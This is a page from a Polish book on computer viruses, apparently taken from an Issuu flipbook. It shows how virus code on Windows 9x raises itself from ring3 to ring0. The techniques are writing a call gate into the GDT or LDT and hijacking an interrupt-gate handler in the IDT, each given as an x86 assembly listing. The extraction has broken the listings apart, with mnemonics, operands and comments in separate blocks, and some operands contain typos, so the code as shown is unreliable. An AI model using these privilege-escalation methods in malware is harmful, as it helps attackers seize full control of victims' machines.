Wirusy komputerowe

Page 47

call mov push pop mov mov pop and mov call

search_GDT esi, dword ptr [GDTR+2] offset procedura_ring0 word ptr [esi+eax+0] word ptr [esi+eax+2], 0028h word ptr [esi+eax+4], 0EC00h word ptr [esi+eax+6] dword ptr [CallGate], 0 word ptr [CallGate+4], ax fword ptr [CallGate]

; eax = wolna pozycja w GDT ; patrz struktura wywołania furtki ; selektor kodu (Code32) ; atrybuty deskryptora, ustawia go na typ CallG32 ; wyzeruj zmienną CallGate ; wpisz do zmiennej numer selektora naszego wpisu ; wykonana zostaje procedura_ring0 na poziomie ring0

Przykład z wykorzystaniem tablicy LDT: call mov push pop mov mov pop or and mov call

search_LDT esi, dword ptr [_LDTR+2] offset procedura_ring0 word ptr [esi+eax+0] word ptr [esi+eax+2], 0028h word ptr [esi+eax+4], 0EC00h word ptr [esi+eax+6] al, 4 dword ptr [CallGate].0 word ptr [CallGate+4], ax fword ptr [CallGate]

; eax = wolna pozycja w LDT ; patrz struktura wywołania furtki ; selektor kodu (Code32) ; atrybuty deskryptora, ustawia go na typ CallG32 ; wyzeruj zmienną CallGate ; wpisz do zmiennej numer selektora naszego wpisu ; wykonana zostaje procedura_ring0 na poziomie ring0

- Metoda IntGates

Metoda polega na modyfikowaniu adresu procedury obsługi przerwania, oczywiście zmieniamy ją na adres naszej procedury, tak że po wywołaniu przerwania int x zostaje wykonywany nasz kod. Należy zwrócić uwagę na fakt, żeby DPL=3 wybranego przerwania, w przeciwnym wypadku nie będziemy mogli go wykonać z poziomu ring3. Według naszej przykładowej tablicy IDT możemy wybrać m. in. przerwania: 01h 03h 04h 05h., opisanych typem IntG32 (interrupt-gate). Zanim zostanie już wykonany kod naszej procedury obsługi przerwania, procesor odłoży na stos (w ring0) flagi, selektor kodu w ring3 oraz offset kodu w ring3. Zatem, aby powrócić do miejsca wywołania przerwania wystarczy wywołać instrukcje IRET. mov push push push pop pop int pop pop

esi, dword ptr [IDTR+2] dword ptr [esi+(8*4)+0] dword ptr [esi+(8*4)+4] offset procedurea_ring0 word ptr [esi+(8*4)+0] word ptr [esi+(8*4)+6] 04h dword ptr [esi+(8*4)+4] dword ptr [esu+(8*4)+0]

; zachowaj oryginalny adres procedury dla przerwania 4

; wykonana zostaje procedura_ring0 na poziomie ring0 ; przywróć oryginalny wpis dla int 04 w IDT

Teraz pokażemy inną metodę, użyjemy dowolnego przerwania, nie ważne jakiego, ważne aby jego numer mieścił się w limicie tabeli IDT. Użyjemy przerwania 20, w systemach Windows 9x używane do wywoływania serwisów ze sterowników VxD (tak zwane VxdCall opisane w punkcie „Wirus jako sterownik VXD”).

47


Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.